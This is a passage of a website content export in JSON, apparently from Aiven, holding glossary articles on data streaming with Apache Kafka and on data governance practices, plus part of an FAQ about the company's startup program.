actions, catering to high-velocity and high-volume data scenarios, but it demands more sophisticated and resource-intensive infrastructure.\n\nNow, **streaming data** is more like having guests pop in unexpectedly, whenever they want to. Each guest demands immediate attention. In the data world, this means information is collected and processed instantly, as soon as it's generated.\n\n\n|   |Batch Data |Streaming Data |\n|---|---|---|\n| Data Characteristics   |  Well-suited for moving any volume of data that doesn't require immediate action. The data is collected over a period of time and then moved all at once. | Ideal for scenarios with high-velocity and high-volume data that require immediate movement and processing, like financial transaction monitoring or live social media analytics. |\n| Processing | Scheduled Processing: Batch processing handles data in large, discrete chunks at scheduled intervals. This could be hourly, daily, or even weekly, depending on the use case. | Real-Time Processing: Streaming data is processed continuously, in real time, as it is generated. This means there is minimal latency between data creation and data processing. |\n| Complexity | Batch processing can efficiently manage complex computations on large datasets, as it doesn't need to deliver immediate results. | Data streaming can sometimes require more resource-intensive operations and complex infrastructure able to handle the constant flow of data and factor in potential spikes in data traffic that might occur.  |\n| Use Cases   | Common in scenarios where real-time data is not critical, like monthly financial reports, daily sales reports, offline analytics, or historical data analysis. | Widely used in applications that rely on timely data insights, such as fraud detection, real-time recommendations, or monitoring systems.  |\n\n\n\n## **Why stream data? (Benefits)**\n\nStreaming data offers a multitude of benefits that are pivotal in the digital era, where real-time information and rapid decision making are crucial. Here are some of the key advantages:\n\n- **Real-Time Insights**: Streaming data allows for the analysis and utilization of information as it is generated, enabling immediate response to emerging trends and issues. This real-time capability is essential for sectors like ecommerce, where online vendors analyze shopper actions and return near-real-time web experience personalization and shopping recommendations.\n- **Enhanced Decision Making**: By providing up-to-date information, streaming data empowers organizations to make timely and well-informed decisions. It eliminates the lag inherent in batch processing, ensuring that decisions are based on the most current data available.\n- **Scalability and Flexibility**: Streaming data solutions are inherently scalable, accommodating the ever-increasing volume of data generated by modern digital interactions. This scalability ensures that organizations can handle data from a few sources to millions, maintaining performance and reliability.\n- **Improved Customer Experience**: In customer-centric industries, streaming data enables personalized and timely interactions with customers. This can lead to improved customer satisfaction and loyalty as businesses respond promptly to customer needs and preferences.\n- **Operational Efficiency**: The continuous flow of data helps in optimizing operations, having access to the most up-to-date information, and predicting potential failures before they occur. For instance, in manufacturing, streaming data from sensors can be used for predictive maintenance, preventing costly equipment failures.\n\nIn summary, streaming data revolutionizes how organizations handle information, offering real-time insights, enhancing decision-making, providing scalability, improving customer experience, boosting operational efficiency, and being cost-effective. \n\n## **The magic of data streaming: Use cases that transform businesses**\n\nData streaming use cases span a wide array of industries, for example: \n\n- Finance\n- E-commerce\n- Healthcare\n- Supply chain and logistics\n- Online gaming\n- Media\n- Traffic management\n- Customer service\n\nOverall, data streaming has become a crucial technology that empowers businesses to react quickly, stay competitive, and better meet customer needs by leveraging real-time insights.\n\n## **Data streaming unpacked: How it works and its implementation**\n\nLet's take a look at how data streaming works.\n\n### **1. Data generation**\n\nData generation marks the inception of the data streaming process. Here, diverse sources **continuously generate data in real time**. Every user interaction on a digital platform, such as website clicks or social media engagements, and readings from various sensors contribute to a constant flow of data. This phase is crucial as it sets the foundation for the subsequent stages of data streaming.\n\n### **2. Data capture and transmission**\n\nThe second phase involves **capturing and transmitting the generated data to a designated repository**. This stage employs sophisticated tools and technologies, similar to a network of pipelines, ensuring the efficient and lossless transfer of large volumes of data. The objective is to deliver the data reliably and securely.\n\n### **3. Data processing**\n\nIn some scenarios, companies would also connect data streaming with a real-time data processing system (stream processing) for the continuous processing data in real time. This processing can be categorized into two primary forms:\n\n- **Real-Time Data Processing:** Involves immediate and near-instantaneous processing of data, minimizing latency to milliseconds or microseconds for time-critical applications.\n- **Near Real-Time Data Processing:** Introduces a slight delay, typically in the order of seconds to minutes, providing timely insights without the strict immediacy of real-time processing.\n\n### **4. Data storage**\n\nIn some scenarios, **storing data for future use** becomes necessary. The data is initially stored in Apache Kafka(R) and made immediately available to any system or application to consume the fresh data. Typically, Kafka has been used as a temporary storehouse for streaming data. Data is often moved out quickly to databases, data lakes, data warehouses, or cloud object storage like Amazon S3, Google Cloud Storage or Azure Blog Storage, where it can be accessed, reprocessed, and retained as historical data.\n\nBy moving data out of Kafka, users can reduce their Kafka costs substantially, as high-speed local disks are much more expensive than low-cost object storage. However, new technologies like Tiered Storage can move data from local disks to object storage within Kafka itself, lowering costs while maintaining a longer history of data in Kafka.\n\n### **5. Data analysis and action**\n\nThe final stage is where the true value of data streaming is realized. Businesses and organizations analyze the processed data to **derive actionable insights and make informed decisions**. \n\n![The diagram depicts an event-driven architecture where data flows from producers to consumers through Aiven’s Apache Flink and Apache Kafka.](https://cdn.sanity.io/images/sczeoy4w/production/818eb2dad5eb6d37cba3d97df6d84950b52acc76-1696x1394.png)\n\nData producers (e.g. Databases, CRM or Ecommerce platforms) generate raw data that is processed by Apache Kafka and Apache Flink. These tools then deliver real-time data to consumers such as microservices, analytics tools, and applications, ensuring they have access to the freshest information. \n\n## **Overcoming challenges and distinctions in data streaming**\n\nWhile data streaming offers numerous benefits, it also presents several obstacles that organizations must address.\n\n- Managing the high volume, velocity, and timing of incoming data.\n- Ensuring the quality and consistency of streaming data.\n- Minimizing latency in data processing and delivery.\n- Integrating streaming data with existing systems and data stores.\n- Streaming data often involves sensitive information, making security and privacy a major concern.\n- Data streaming can be resource-intensive and expensive, especially when scaling up.\n- Analyzing and responding to complex patterns in real-time data streams.\n- Ensuring continuous operation and data integrity in the face of system failures or anomalies.\n- Extracting meaningful insights and making decisions in real-time.\n- Adhering to regulatory requirements and ensuring proper data governance in real-time environments.\n\nEach of these data streaming challenges requires a specific strategy, whether it's deploying sophisticated monitoring tools or utilizing a robust platform. \n\n## **Architecting the future: Data streaming with Apache Kafka**\n\n**Apache Kafka** is an open-source distributed data streaming platform and community project under the **Apache Software Foundation**, written in Scala and Java. It is designed to provide a unified, high-throughput, low-latency platform for handling real-time data feeds. Its robustness and scalability make it an ideal choice for large-scale data streaming tasks.\n\nKafka operates on the principle of a **distributed commit log**. It allows for the publication (writing) and subscription (reading) of streams of records, including continuous import/export of your data. One of Kafka's strengths is its durability and fault tolerance, achieved through replicating data across a cluster of servers. This ensures that data is not lost and is accessible even in the event of single server failure.\n\nThe Kafka architecture is such that it can handle multiple, decoupled data producers and consumers, enabling a high degree of concurrency and parallelism. This makes it particularly well suited for applications requiring real-time analytics and monitoring, event sourcing, log aggregation, and event-driven architecture.\n\nData streaming architecture, exemplified by tools like Apache Kafka, is pivotal in managing the relentless flow of data in today's fast-paced digital environments. Kafka's efficient processing capabilities, fault tolerance, and scalability make it a cornerstone in the field of real-time data streaming and processing. \n\n**Read more:** [Data streaming made easy with Apache Kafka](https://aiven.io/blog/data-streaming-made-simple-with-apache-kafka)\n\n## **The road ahead: Emerging trends in data streaming**\n\nThe future of **data streaming** is as exciting as it is boundless. Here are some emerging trends to watch:\n\n1. **Artificial Intelligence and Machine Learning Integration**: The integration of AI and ML with data streaming technologies is revolutionizing how data is analyzed and utilized in real-time. AI and ML algorithms can process and analyze streaming data to predict trends, detect anomalies, and automate decision-making processes. This integration is particularly impactful in areas like predictive maintenance, real-time personalization in marketing, and advanced fraud detection, where immediate data analysis and response are crucial. For more information on how streaming is used in real-time AI recommendation engines, visit the [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n2. **The 5G Revolution**: The rollout of 5G technology is significantly enhancing data streaming capabilities due to its higher speed and lower latency compared to previous generations of mobile networks. This advancement is enabling more efficient and faster data transmission, which is crucial for applications requiring real-time data processing, such as autonomous vehicles, augmented reality, and enhanced mobile streaming experiences.\n3. **IoT Advancements**: The Internet of Things (IoT) is rapidly expanding, and with it, the volume of data generated by connected devices. This surge in data is driving advancements in data streaming technologies to efficiently handle, process, and analyze data from myriad IoT devices. These advancements are pivotal in sectors like smart cities, where real-time data from sensors and devices are used for traffic management, environmental monitoring, and public safety.\n4. **Edge Computing**: Edge computing involves processing data near the source of data generation rather than in a centralized cloud-based system. This trend is becoming increasingly relevant in data streaming, as it allows for quicker data processing and response times, which are vital for time-sensitive applications. Edge computing is particularly useful in scenarios where sending data to the cloud would be too slow or costly, such as in manufacturing processes or remote monitoring systems.\n5. **Hybrid and Multi-Cloud Streaming Architectures**: Organizations are increasingly adopting hybrid and multi-cloud environments for their data streaming architectures. This approach allows businesses to leverage the strengths of different cloud providers and on-premises solutions, enhancing flexibility, scalability, and redundancy. Hybrid and multi-cloud strategies ensure that data streaming processes are more resilient and adaptable to varying workloads and requirements.\n\nThese trends indicate a future where data streaming becomes more integrated with advanced technologies, faster and more reliable through improved connectivity, and more versatile and robust due to emerging architectural paradigms. As these trends continue to develop, they are set to unlock new possibilities and efficiencies in how we process and utilize real-time data.\n\n## **Elevating your data streaming strategy with Aiven**\n\nWhen it comes to actualizing your **data streaming** needs, Aiven emerges as a formidable ally. Offering services that simplify and enhance the data streaming process, it’s like the wizard in the world of data, making complex processes seem almost magical. With offerings like [fully-managed Apache Kafka](https://aiven.io/kafka) and [managed Apache Flink](https://aiven.io/flink), Aiven removes the complexities of data streaming, allowing businesses to focus on deriving value from their real-time data.\n\nAiven's platforms are designed to seamlessly fit into your business, enabling:\n\n- **Real-time analytics –** Immediate insights to inform business decisions.\n- **Event-driven architecture –** Responsive systems that act on data in real-time.\n- **Change Data Capture (CDC) –** Streaming data changes into Kafka as they happen.\n- **AI-driven recommendation engines –** Streaming capabilities capture user behavior in real time, validate any request or AI prompt in a Trust Layer, combine real-time and historical data, and generate a response that also goes through the Trust Layer to validate responses.\n- **Data compliance –** Adherence to global data protection regulations.\n- **Security measures –** State-of-the-art encryption and security protocols to safeguard data streams.\n\nHowever, it takes a complete **open-source streaming ecosystem** build around Apache Kafka to really take your data game to the next level. \n\n- **Aiven for Apache Kafka –** For building real-time data pipelines and event-driven architectures with ease.\n- **Aiven for Apache Kafka Connect –** For simplifying data integration by moving data in and out of Kafka clusters.\n- **Aiven for Apache Kafka MirrorMaker 2 –** For managing cross-cluster Kafka data replication, keeping topics in sync across different regions, clouds.\n- **Aiven for Apache Flink** – For building and deploying powerful, real-time, stateful stream processing applications.\n- **Karapace** – For providing essential schema management capabilities for your Apache Kafka clusters, ensuring data compatibility and governance.\n- **Klaw –** For streamlining Apache Kafka governance.\n\n![Visualisation of the Aiven for Kafka ecosystem.](https://cdn.sanity.io/images/sczeoy4w/production/bc5bfe2c6e53e73d5c53201eabec5ea67883cc29-2806x1607.png)\n\nSee some of the top use cases on the [Aiven for Streaming](https://aiven.io/solutions/aiven-for-streaming) solutions web page.\n\nReady to dive into **data streaming with Aiven**? Here’s how to get started:\n\n- **Learn more:** Have a poke around [**Aiven's developer documentation**](https://docs.aiven.io/docs/get-started) to take your first steps in the Kafka or Flink world, or [**sign up for a free trial**](https://console.aiven.io/signup) and start playing around.\n- **Consultation:** [Contact our experts](https://aiven.io/contact) to identify your needs or [book a demo](https://aiven.io/book-demo)\n\n\n\n## Further Reading\n\n- [Why you should think about moving analytics from batch to real-time (Blog article)](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time)\n- [Move from batch to streaming with Apache Kafka® and Apache Flink® (Tutorial)](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)\n- [Build a real-time analytics pipeline in less time than your morning bus ride (Blog article)](https://aiven.io/blog/build-a-real-time-analytics-pipeline)","seo":{"_type":"metaData","metaDescription":"Discover the power of data streaming for real-time analytics, faster decision-making, and enhanced user experiences. Get started with Aiven!","metaTitle":"Data Streaming – How It Works \u0026 Why It Matters | Aiven"},"slug":{"_type":"slug","current":"/glossary/data-streaming-your-gateway-to-real-time-insights"},"title":"Data streaming: Your gateway to real-time insights"}
{"__i18n_lang":"en","_createdAt":"2024-09-23T14:02:54Z","_id":"d0107ea9-e93f-45a3-a3be-0d89bf3732ed","_rev":"YF0kK6uALbD7UqCF6MgGVz","_type":"glossaryArticle","_updatedAt":"2024-09-30T09:17:29Z","body":"In today’s digital landscape, **data governance** is increasingly critical. Organizations across the globe recognize the importance of proper data management to fully harness their data's potential. \n\nIn this post, we will explore the definition and meaning of data governance, the process behind it, and also take a closer look at best practices. \n\n## Data Governance Definition\n\nData governance is a set of internal policies and practices that establish rules for how data is collected, stored, processed, replicated, accessed, and disposed of. Data governance is critical for security, data protection, auditing, compliance, and disaster recovery.\n\nSome of the key aspects of data governance include …\n\n- **Data Policies and Standards:** Establish the rules and guidelines for data collection, quality, usage, access, [privacy and security](https://aiven.io/security-compliance), and resilience, ensuring consistency and compliance across the organization..\n- [Data Management Tools](https://aiven.io/blog/data-tool-selection):Technologies and systems used to implement and enforce data governance principles, facilitating data quality, integration, and security.\n- **People and Processes:** This aspect involves assigning roles and responsibilities, as well as defining workflows and procedures, to ensure effective data management and accountability.\n\nOverall, data governance helps organizations get the most out of their data by making it a trusted asset that drives informed decisions.\n\n\n\n### High Availability and Disaster Recovery\n\nWhen it comes to data governance, high availability and disaster recovery play a crucial role. \n\nHigh availability (HA) maintains continuous data operations and minimizes downtime through redundancy and failover mechanisms, aligning with governance policies for reliable data access. Disaster recovery (DR), on the other hand, focuses on protecting and quickly restoring data during disasters via backups and recovery plans, meeting regulatory requirements and mitigating risks. \n\nTogether, HA and DR support data governance by enforcing policies, maintaining compliance, and ensuring data continuity and protection.\n\n## Who Is Responsible for Data Governance?\n\nData governance involves multiple stakeholders across the organization, each with specific roles and responsibilities. \n\n- **Data Governance Council**: Defines the data governance strategy and policies, as well as provides oversight to ensure alignment with business objectives.\n- **Chief Data Officer (CDO)**: Leads the data governance program, coordinates efforts across departments, and is accountable for its success.\n- **Data Stewards**: Ensure [data quality](https://aiven.io/blog/a-soft-methodology-to-define-robust-data-platforms), compliance, and management of specific data domains to uphold governance standards.\n- **Data Owners**: Set the requirements for data, manage access permissions, and make sure that data usage aligns with business needs.\n- **IT and Data Management Teams**: Maintain the data infrastructure, create backups, manage security, and are responsible for the technical implementation of data governance principles.\n- **Legal and Compliance Teams**: Ensure that all data governance practices adhere to relevant laws and regulations, providing guidance on data protection and ethical use.\n- **End Users**: Adhere to data governance policies and report any issues or breaches they encounter.\n\n\n\n## Data Strategy, Data Governance, and Data Management Explained \n\nAlthough data strategy, data governance, and data management are closely related concepts, they refer to different aspects of handling data within an organization.\n\n\n| Aspect | Data Strategy | Data Governance | Data Management |\n|---|---|---|---|\n|Definition | Plan for leveraging data to support business goals | Framework for ensuring data quality, security, and compliance |Operational aspect of handling data throughout its lifecycle |\n| Focus | Alignment of data initiatives with business objectives | Policies, standards, and compliance | Day-to-day data operations, security, and management |\n| Purpose | Drive business growth and innovation through data | Ensure data is accurate, secure, and compliant | Efficiently manage data storage, access, and processing |\n| Key Activities   | Developing data initiatives, investment in data capabilities  | Setting policies, data stewardship, auditing  | Data storage, processing, integration, and maintenance | \n| Stakeholders   | Executive leadership, data strategists, business analysts  | Data stewards, compliance officers, legal teams | Data managers, IT staff, database administrators  | \n| Outcome | Competitive advantage, informed decision-making  | High-quality, secure, and compliant data  | Reliable, accessible, and well-maintained data  |\n\n\n## Why Is Data Governance Important?\n\nThere are many reasons why data governance is important for any organization that relies on data for its operations and strategic decisions. \n\n- **It Ensures Compliance with Regulations:** Data governance helps organizations adhere to various regulatory requirements such as GDPR, HIPAA, and others that dictate how data should be handled and protected. By establishing clear guidelines and controls, data governance frameworks prevent legal issues and penalties associated with non-compliance.\n- **It Improves Data Security:** With a solid data governance process in place, organizations can better protect sensitive information from unauthorized access and data breaches. Governance policies include who can access data, under what circumstances, and the security measures that must be in place, thus reducing the risk of data leaks and enhancing trust with customers and stakeholders.\n- **It Enhances Data Quality:** Data governance principles ensure that the data used in decision-making processes is accurate, complete, and reliable. This is achieved through data quality initiatives such as data cleansing, validation, and regular audits. High-quality data leads to better analytical outcomes, more informed decisions, and reduced operational inefficiencies.\n- **It Facilitates Data Usability and Accessibility:** By standardizing data management practices and creating clear guidelines for data storage, archiving, and retrieval, data governance makes data more usable and accessible to authorized personnel. This standardization helps avoid data silos, ensuring that data is available across the organization when and where it is needed.\n- **It Supports Decision-Making:** Effective data governance provides a reliable and secure framework for data access and use, which in turn supports more accurate and timely decision-making. With governance, data is consistently managed and maintained, leading to a stable foundation for analytics and business intelligence efforts that drive strategic initiatives.\n\n## What Are the 3 Pillars of Data Governance?\n\nThe three pillars of data governance are **data stewardship, data quality,** and **master data management (MDM)**. \n\nBy effectively implementing them, organizations can leverage their data to gain a competitive advantage, minimize risks, and achieve sustained growth.\n\n### **1. Data Stewardship**\n\nData stewardship refers to the management and oversight responsibilities assigned to designated staff members, known as data stewards, who ensure that **data policies** and procedures are **implemented effectively** across the organization. \n\nData stewards act as liaisons between IT and business units to ensure that data is used appropriately, its quality is maintained, and it is protected throughout its lifecycle. \n\nTheir responsibilities include:\n\n- setting data access policies,\n- resolving data quality issues,\n- helping to define the requirements for data collection and usage.\n\nEffective stewardship supports the organization's overall data governance framework by ensuring **compliance** with both internal data standards and external regulations.\n\n### **2. Data Quality**\n\nData quality is a critical aspect of data governance, focusing on the accuracy, completeness, reliability, and timeliness of the data. \n\nHigh-quality data is essential for \n\n- making informed decisions,\n- maintaining operational efficiency,\n- ensuring customer satisfaction.\n\nData quality initiatives typically involve processes and technologies that help to **clean, validate, and maintain the integrity** of data throughout its lifecycle. \n\nThese initiatives also monitor the performance of data against quality metrics, with continual improvements made based on feedback and changing needs. \n\nEnsuring good data quality **reduces the risk of errors** and enhances the trustworthiness of reports and analyses derived from the data.\n\n### **3. Master Data Management (MDM)**\n\nMaster data management involves creating a single, accurate, and authoritative source of basic business data used across multiple systems, applications, and processes. \n\nMDM helps **eliminate redundant and inconsistent versions** of the same data in an organization. \n\nThis central data management approach ensures that all departments and personnel have access to the **most current and accurate** set of core data, such as customer, product, employee, and supplier information. \n\nMDM not only improves data quality but also supports regulatory compliance and enhances operational efficiency by providing consistent and reliable data across the enterprise.\n\n## Data Governance Examples\n\nBelow are three examples of how data governance can be used in practice.\n\n### 1. Ensuring Data Quality\n\n- **Data Standardization:** Implementing policies and procedures to standardize data formats, definitions, and values across the organization to ensure consistency and accuracy.\n- **Validation Processes:** Regularly conducting data validation and cleansing activities to identify and rectify errors, duplicates, and inconsistencies in the data.\n- **Quality Metrics:** Establishing and monitoring data quality metrics to continuously assess and improve the accuracy, completeness, and reliability of data.\n\n### 2. Regulatory Compliance and Data Privacy\n\n- **Policy Implementation:** Developing and enforcing data governance policies that comply with relevant data protection regulations (e.g., GDPR, CCPA) to safeguard personal and sensitive information.\n- **Access Controls:** Implementing strict access control mechanisms to ensure that only authorized personnel have access to sensitive data, reducing the risk of data breaches and unauthorized usage.\n- **Audit and Monitoring:** Conducting regular audits and monitoring activities to ensure ongoing compliance with regulatory requirements and internal data governance policies.\n\n### 3. Data Integration and Management\n\n- **Data Integration:** Integrating data from various sources and systems within the organization to create a unified and comprehensive data architecture that supports decision-making and operational efficiency.\n- **Metadata Management:** Establishing a metadata management system to document data definitions, sources, usage, and lineage, facilitating better data understanding and utilization.\n- **Master Data Management:** Implementing master data management (MDM) practices to maintain a single, accurate, and authoritative source of key business data (e.g., customer, product, supplier information) across the organization.\n\n### 4. ETL Processes\nIn the healthcare industry, hospitals and clinics use [ETL (Extract, Transform, Load)](https://aiven.io/glossary/what-is-etl) processes to integrate patient data from various sources such as electronic health records (EHRs), lab systems, and billing databases. Data governance ensures that this data is validated, transformed, and loaded correctly into a centralized data warehouse, supporting accurate and efficient patient care and reporting.\n\n\n## Crafting an Effective Data Governance Process\n\nCrafting an effective data governance process or framework is a dynamic endeavor that requires commitment across the organization. \n\n### **1. Establish Clear Objectives**\n\nBegin by defining clear objectives for what your data governance initiative is intended to achieve. Objectives might include improving data quality, ensuring regulatory compliance, enhancing data security, or supporting business decision-making. Clear objectives help to focus efforts and measure the success of your data governance program.\n\n### **2. Develop a Data Governance Framework**\n\nCreate a comprehensive data governance framework that outlines the policies, standards, procedures, and roles related to data management. This framework should include:\n\n- **Data principles and policies:** Guidelines on data usage, privacy, and security.\n- **Data standards:** Definitions and standards for consistent data entry, storage, and management.\n- **Roles and responsibilities:** Clear delineation of who is responsible for data-related tasks, including data stewards, data owners, and data users.\n\n### **3. Implement Data Stewardship**\n\nAppoint data stewards who will oversee data governance processes. Data stewards play a key role in implementing policies, resolving data quality issues, and acting as a bridge between IT and business units. Their responsibilities include maintaining data accuracy, managing access, and ensuring compliance with both internal and external data management standards.\n\n### **4. Prioritize Data Quality**\n\nFocus on maintaining high data quality through regular assessments and remediation strategies. Implement tools and processes for data cleansing, validation, and reconciliation to ensure that data is accurate, complete, and timely. Data quality initiatives should be continuous, with mechanisms to monitor and improve the quality of data over time.\n\n### **5. Integrate Technology Solutions**\n\nTo support your data governance goals, leverage technologies that ensure high availability and disaster recovery. This includes data management systems like Master Data Management (MDM) software, data quality tools, and technologies for data security and compliance monitoring. These technologies can automate many aspects of data governance, reducing the burden on staff and increasing the accuracy and efficiency of your processes.\n\n### **6. Ensure Compliance and Security**\n\nDevelop and enforce security policies that protect data across all platforms and devices. Ensure compliance with regulatory requirements such as GDPR, HIPAA, or CCPA by integrating compliance checks into every aspect of your data management processes. Regular audits and updates to security protocols are crucial to adapt to new threats and regulatory changes.\n\n### **7. Promote Organizational Awareness and Training**\n\nEducate and train all employees on the importance of data governance and their specific responsibilities related to data handling. Organizational awareness and training are crucial for ensuring that data governance policies are understood and followed across the organization.\n\n### **8. Monitor and Refine**\n\nEstablish metrics to monitor the effectiveness of your data governance processes. Use these metrics to identify areas for improvement and refine your approaches continuously. Regular review meetings involving key stakeholders can help to keep the data governance strategy aligned with changing business needs and technological advancements.\n\n## Challenges in Data Governance\n\nBelow is a table outlining three main challenges in data governance and their respective solutions to help your organization navigate these obstacles successfully.\n\n| Challenges  | Possible Solutions |\n|---|---|\n| **1. Data Silos**\\n\\n Data silos occur when different departments or units within an organization manage their data independently, leading to isolated pockets of data that may not adhere to organizational governance policies and procedures. This can result in data at risk from a security, compliance, and disaster recovery perspective.| **Integrated Data Systems**\\n\\n Use technologies that integrate data from various silos into a unified system. Implement Master Data Management (MDM) solutions to maintain a consistent, accurate, and comprehensive view of key data assets across different departments. |\n| **2. Resistance to Change**\\n\\n Implementing a new data governance strategy can often be met with resistance from employees who are accustomed to existing processes. This resistance can hinder the successful adoption of new data governance practices. | **Change Management**\\n\\n Implement change management strategies that include training, education, and clear communication about the benefits of data governance. Engage stakeholders early and often in the planning and implementation phases to gain buy-in and reduce resistance. |\n| **3. Ensuring Data Quality**\\n\\n Maintaining high data quality is challenging due to the volume and variety of data, as well as potential human and system errors. Poor data quality can lead to incorrect decisions and operational inefficiencies.  | **Quality Control Mechanisms**\\n\\n Establish rigorous data quality frameworks that include regular audits, real-time monitoring, and validation processes. Utilize data quality tools that ensure high availability and disaster recovery to automate error detection and correction, ensuring high standards of accuracy and reliability are maintained consistently. |\n\n\n## Data Governance Best Practices\n\nNavigating the complexities of data governance can often feel like solving a grand puzzle. In this chapter, we break down that puzzle into manageable pieces, presenting best practices that empower your organization to harness data effectively and enhance its strategic value.\n\n1. **Prioritize Stakeholder Engagement:** Engage stakeholders from various departments early and frequently to ensure their needs and concerns are addressed, promoting broader acceptance and successful implementation.\n2. **Leverage Automation:** Automate repetitive data governance tasks such as data quality checks and compliance monitoring to improve efficiency and reduce the likelihood of human error.\n3. **Establish Clear Communication Channels:** Maintain open and transparent communication about data governance principles, standards, procedures, and changes to keep all team members informed.\n4. **Continuously Train and Educate:** Offer ongoing training and resources to keep the team updated on best practices, new regulations, and technologies to maintain high data governance standards.\n5. **Regularly Review and Update Policies:** Continuously revise data governance policies to adapt to new business challenges, technological novelties, and evolving regulatory requirements, ensuring the governance framework remains relevant and effective.\n6. **Document Everything Thoroughly:** Ensure that all data governance procedures, decisions, and changes are thoroughly documented. This not only aids in transparency and accountability but also helps in troubleshooting and training new team members.\n7. **Monitor Data Governance Metrics:** Define and track specific metrics related to data governance such as data quality scores, compliance rates, and user satisfaction to measure the effectiveness of your data governance program and identify areas for improvement.\n\n## Seamless Data Governance with Aiven\n\n**Overall, Aiven's data governance capabilities focus on providing:**\n\n- **Centralized control and visibility** over your data landscape\n- **Enhanced security and compliance** to protect sensitive data\n- **Multi-cloud flexibility** to avoid vendor lock-in\n- **Streamlined data management** for greater efficiency and productivity\n\nAiven's data and AI [platform](https://aiven.io/platform) itself incorporates several features that support data governance:\n\n- **End-to-End Security:** Aiven prioritizes data security with dedicated virtual machines, encryption in transit and at rest, automated security updates, and compliance with various industry standards (ISO 27000, GDPR, CCPA, HIPAA, PCI-DSS).\n- **Multi-Cloud Flexibility:** Aiven's cloud-agnostic approach allows you to deploy and manage data services across multiple cloud providers, giving you greater control over your data and reducing vendor lock-in.\n- **Centralized Management:** The Aiven platform offers a unified interface to manage all your data services, enabling you to apply organizational policies and governance controls consistently across your entire data infrastructure.\n\n**Bring Your Own Cloud (BYOC):** Aiven’s [BYOC](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc) connects a customer’s own AWS, Google Cloud or Microsoft Azure VPC to the Aiven platform, making it possible to deploy Aiven services directly to their own cloud account. This means that all compute, storage and networking infrastructure services - and associated costs - remain under a customer’s direct control. Consider using BYOC and custom clouds if you have specific business needs or project requirements, such as:\n\n- **Compliance**: Aiven offers managed environments for several standard compliance regulations, such as HIPAA, PCI DSS, and GDPR. However, if you have strict regulatory requirements or special compliance requirements, BYOC may be the best option for you.\n- **Network auditing**: If you require the visibility of all traffic within any VPC you operate in or need frequent auditing capabilities, BYOC is potentially a good fit. BYOC gives you the ability to audit network metadata but not the actual contents.\n- **Fine-grained network control**: BYOC only requires specific network access for Aiven (for example, service management or troubleshooting) to deploy and manage open source data services, otherwise allowing you to customize your network to meet any internal requirements or requirements of your customers.\n- **Cost optimization**: Depending on your cloud provider, with BYOC you can use cost savings plans, committed use discounts, or other strategies to save on compute and storage infrastructure costs related to Aiven services.\n\n![The infographic illustrates Aiven’s “Bring Your Own Cloud” which enables customers to deploy Aiven data services within their existing cloud account on Microsoft Azure, Google Cloud, and AWS.](https://cdn.sanity.io/images/sczeoy4w/production/ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png)\n\n\nThese features help organizations establish a robust data governance framework, ensuring data quality, security, and compliance while enabling efficient data utilization and innovation.\n\nBy integrating Aiven's products into your data governance frameworks, your organization can enhance operational efficiency and secure its data environment, leading to better business outcomes.\n\nSimplify your data infrastructure for better governance. [**Get started for FREE**](https://console.aiven.io/signup)!\n\n\n## Further reading\n\n- [Aiven](https://aiven.io/)\n- [Aiven Platform](https://aiven.io/platform)\n- [Aiven Security](https://aiven.io/security-compliance)\n- [Understanding Data in the Face of Changing FSI Laws](https://aiven.io/blog/understanding-data-in-the-face-of-changing-fsi-laws)\n- [The Top Two Misconceptions as FSI Compliance Requirements Tighten](https://aiven.io/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten)\n- [The Intersection of Compliance and Risk vs. Security](https://aiven.io/blog/the-intersection-of-compliance-and-risk-vs-security)\n- [What Is a Data Pipeline?](https://aiven.io/glossary/what-is-a-data-pipeline)","seo":{"_type":"metaData","metaDescription":"Data governance definition | Standards \u0026 Principles | The process of data governance | Challenges \u0026 more | Get informed with Aiven!","metaTitle":"What Is Data Governance? Examples \u0026 Best Practices"},"slug":{"_type":"slug","current":"/glossary/what-is-data-governance-examples-and-best-practices"},"title":"What Is Data Governance? Examples \u0026 Best Practices"}
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Our console lets developers and software architects set up their databases and get familiar tools on all major cloud platforms (like Google, AWS or Azure) in a matter of minutes. It’s simple, secure, and everything is open source, so you keep control of all your data. You can move it between cloud regions and providers, duplicate it, and do whatever you want with it – and you don’t have to jump through hoops to do it."}],"markDefs":[],"style":"normal"},{"_key":"3772f001e8b9","_type":"block","children":[{"_key":"26e86f38e3d70","_type":"span","marks":[],"text":"We provide a selection of reliable, open source products – tools like Apache Kafka, PostgreSQL, MySQL, M3, InfluxDB, OpenSearch, and more – that you can install at the click of a button."}],"markDefs":[],"style":"normal"},{"_key":"0cefe4c093db","_type":"block","children":[{"_key":"5f6b4c127d0a0","_type":"span","marks":[],"text":"But while we make it simple to set up your data, it’s what you do with it next that’s where the awesome happens."}],"markDefs":[],"style":"normal"}],"title":"What does Aiven actually do?"},{"_key":"780b29be3d13","_type":"accordionItem","panelText":[{"_key":"ce19ae506a28","_type":"block","children":[{"_key":"7368a432031b0","_type":"span","marks":[],"text":"You can find the "},{"_key":"7368a432031b1","_type":"span","marks":["418a5dde8625"],"text":"application form here"},{"_key":"7368a432031b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"418a5dde8625","_type":"link","href":"https://form.typeform.com/to/BqNrcMLJ"}],"style":"normal"}],"title":"Where can I find the application form?"},{"_key":"cb73f62de95b","_type":"accordionItem","panelText":[{"_key":"aeb221fd1aab","_type":"block","children":[{"_key":"c8b2efa630e60","_type":"span","marks":[],"text":"To be eligible to apply to Aiven Cluster startup program, you need:"}],"markDefs":[],"style":"normal"},{"_key":"2f0bf3b169a5","_type":"block","children":[{"_key":"ef44db80002c0","_type":"span","marks":[],"text":"Proof of affiliation with an approved network partner (VC, accelerator, incubator, or co-working space)*"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1afc8d8e833a","_type":"block","children":[{"_key":"d7418e400bf70","_type":"span","marks":[],"text":"Maximum startup age: 7 years"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f69acce1d434","_type":"block","children":[{"_key":"aeb741bfed2a0","_type":"span","marks":[],"text":"Startup funding no greater than Series B"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"70c7f74e9bad","_type":"block","children":[{"_key":"cebd1f2500ba0","_type":"span","marks":[],"text":"A company website and associated email 